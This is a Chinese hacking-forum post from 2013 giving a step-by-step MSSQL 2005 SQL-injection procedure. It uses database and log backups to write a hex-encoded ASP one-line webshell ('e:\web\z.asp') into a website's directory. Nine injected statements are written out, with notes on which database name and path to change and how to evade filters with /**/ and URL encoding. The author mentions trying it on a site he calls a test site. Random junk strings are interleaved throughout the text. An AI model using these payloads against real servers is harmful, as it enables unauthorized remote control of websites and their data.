找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2560|回复: 0
打印 上一主题 下一主题

mssql2005 DB权限导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:32:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。
5 |( e; s3 I8 M  z* ~/ h+ t" t& q: _6 H1 O4 U( v1 ~% o, b
, e* S, Q+ v8 g7 N+ o. ]  F
后来在网上搜半天没有找到具体的备份语句,后来在群求助,小冰才发我了具体的利用语句,但贴出来的文章貌似没啥水准,大家都知道手工差异备份是自己需要修改数据库名和网站路径的,但那个文章中对语句没有做任何解释,无奈之下我只好自己尝试了,虽然测试的网站没有成功拿下shell,单语句是没有错误的,我在本地的MSSQL2005的查询分析器中测试通过了,再次特将语句整理出来分享个大家,并做好详细的解释说明,首先来贴出语句。 + I- m2 U$ D% W  z& r

) M3 e. g  x5 v第一步
5 t) `% Z, U% t;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full-- ' b- m) a( {  o- O7 y- E6 y
$ R/ e  \# _+ r, |3 f  B
第二步: 6 @& o5 f$ S/ Z& y$ @9 u+ @+ B- u
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- ' z  n6 z6 g: ~/ n% z8 Z
2 B& F, p. H4 y4 j5 D0 V' C$ ?# N
第三步
+ p- W- X+ j* U2 x! i;drop/**/table/**/[itpro]--
- v' o5 t2 B  E2 N# t 7 b8 J8 ?- Y9 e
第四步 7 \1 C' S2 w8 H  F, ^1 u; U" ~
;create/**/table/**/[itpro]([a]/**/image)--
7 v2 b5 T- Z( ?( l7 A   l; u1 y" D& X# T: I: T% ]2 f3 K
第五步
' z( h7 {0 i2 S1 s8 P$ _;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- ) p/ D- f/ C( R; l
5 l+ L1 c9 h- H7 c1 \& D1 Y
第六步
6 q# m8 k: ]) N9 q: N1 Q;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--
( N; s% O2 a& G9 A. ^/ H4 [6 O $ R) f. b- M7 ?% D
第七步 : S# u8 Y% r- X; y* a% i4 f
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
6 }6 C7 p5 I6 @( ? 9 B+ M1 \% v5 C
第八步 . h4 c. `1 f' B$ x; E1 P& X2 l
;drop/**/table/**/[itpro]--
! B7 O' t3 b2 y / q5 l7 c. `( H) ~* w. }) t# i
第九步
; b$ H; x: h  c3 D8 U1 r7 ?7 p;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- , Z, }5 e" b5 V' f$ u
  L5 O: o  S- j8 `0 K& `9 \/ s
其中红色的“Hospital”既是数据库名,这个要根据自己的情况来修改,然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的话这个表是不存在的,就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”,就是使用URL编码。“/**/”就等于空格了,这个大家在学习注入的过程中应该了解,也可以更换成“%20”。5 A3 o- G, i; m4 f$ e  {2 O. B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表